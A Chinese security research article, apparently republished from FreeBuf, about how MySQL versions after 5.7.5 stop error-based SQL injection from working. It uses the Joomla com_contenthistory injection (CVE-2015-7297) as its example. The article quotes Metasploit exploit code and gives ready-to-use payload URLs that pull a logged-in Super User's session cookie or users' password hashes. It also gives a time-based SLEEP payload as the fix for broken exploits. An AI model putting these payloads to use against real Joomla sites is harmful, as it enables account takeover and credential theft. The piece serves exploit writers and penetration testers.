72

你的PoC和EXP可能得改改了

 5 years ago
source link: https://www.tuicool.com/articles/3MV7nyF
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

一、前言

在MySQL 5.7.5之前的所有主版本存在一个BUG,该可能导致影响POC/EXP需要重新编写或修正的问题。 

BUG信息链接:

https://bugs.mysql.com/bug.php?id=58081

二、问题说明

在BUG说明中,可以通过以下SQL语句复现:

set names latin1;
drop table if exists t1;
create table t1(a int) engine=myisam;
insert into t1 values (0),(0),(1),(0),(0);
select count(*) from t1, t1 t2 group by insert('', t2.a, t1.a,(@@global.max_binlog_size));

MySQL版本低于5.7.5中,执行以上SQL语句,会报如下错误:

Duplicate entry '107374182410737418241' for key 'group_key'

三、POC/EXP影响分析

3.1 原因分析

一般报错性SQL注入POC或EXP编写的时候,POC/EXP编写思路是通过SQL语句执行某个语句让WEB APP将报错(包含要执行的SQL语句查询结果)信息打印出来。

Joomla__APP__SQL_Injection__CVE_2015_7297 这个漏洞为例:

在Joomla 3.4.4b版本对应 com_contenthistory 组件的视图文件 /administrator/components/com_contenthistory/views/history/view.html.php 中:

if (count($errors = $this->get('Errors')))
        {
            JError::raiseError(500, implode("\n", $errors));

            return false;
        }

出现SQL语句查询SQL语句查询错误时,会将关键报错信息打印出来。

因此这也导致在MetaSploit 框架中,对应利用模块:

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb

77行定义的sqli利用函数中,通过报错方法让Joomla将错误信息打印出来:

def sqli( tableprefix )

    # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
    # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
    # This way we make sure that's excluded and we only get real admin sessions.

    sql = " (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id "

    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "index.php"),
      'vars_get' => {
        'option' => 'com_contenthistory',
        'view' => 'history',
        'list[ordering]' => '',
        'item_id' => '1',
        'type_id' => '1',
        'list[select]' => sql
        }
      })

通过MySQL查询日志,可以看到MSF执行sqli获取已登录的超级管理员用户的session_id(即身份令牌Cookie)时。执行SQL语句为:

SELECT  (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from `u6egd_session` WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id ,uc.name AS editor
FROM `u6egd_ucm_history` AS h
LEFT JOIN u6egd_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`

注意:

u6egd 只是表前缀,不同环境下会变化。

该SQL语句真实执行后,报的错误如下:

NBreyyQ.jpg!web

因此,我们可构造对应的Payload:

/index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from %23__session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id

期望响应含有已登陆超级管理员的session_id(即身份令牌Cookie):

QrMbY3V.jpg!web

我们在MySQL 8.0版本中,看到没有报错了:

nmeiiiu.jpg!web

3.2 实际修复情况

PHP 5.6.40mysql Ver 14.14 Distrib 5.7.26 环境下,我们发现官方所谓的修复宣称并不准确:

JZ7bIjb.jpg!web

可以看到,MySQL低于5.7.5的部分小版本已经修复了(5.7.5应该是彻底修复,小版本可能还有其他Bug),通过MySQL官方信息:

https://bugs.mysql.com/bug.php?id=90398

才看到已经在5.7.5彻底修复。但在最后又说明MySQL 5.7.27 and 8.0.17修复,这就有点尴尬了…

3.3 POC与EXP编写影响

通过实际环境分析,在 PHP 5.6.40mysql Ver 14.14 Distrib 5.7.26Joomla 3.4.4 环境下进行漏洞复现,使用同一个Payload利用无法获取到对应数据了:

Payload:

index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(*),concat((select password from %23__users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x)

在后台MySQL日志看到的查询语句为:

SELECT (select 1 from (select count(*),concat((select password from sb2ah_users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x),uc.name AS editor
FROM `sb2ah_ucm_history` AS h
LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`

真实执行时,发现返回空数据了:

r6nayiq.jpg!web

因此,在实际编写对应的Joomla漏洞POC或EXP时,需同时采用基于时间注入方式进行注入判断与利用。

如Payload:

index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(SELECT 8533 FROM (SELECT(SLEEP(5)))x)

对应MySQL查询日志

SELECT (SELECT 8533 FROM (SELECT(SLEEP(5)))x),uc.name AS editor
FROM `sb2ah_ucm_history` AS h
LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`

对比时间差来判断与利用:

eMBZRjr.jpg!web

ZJNNFvb.jpg!web

也就是说,你的POC、EXP是时候需要改改了,拿来主义这时候行不通!

*本文作者:麒麟安全实验室,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK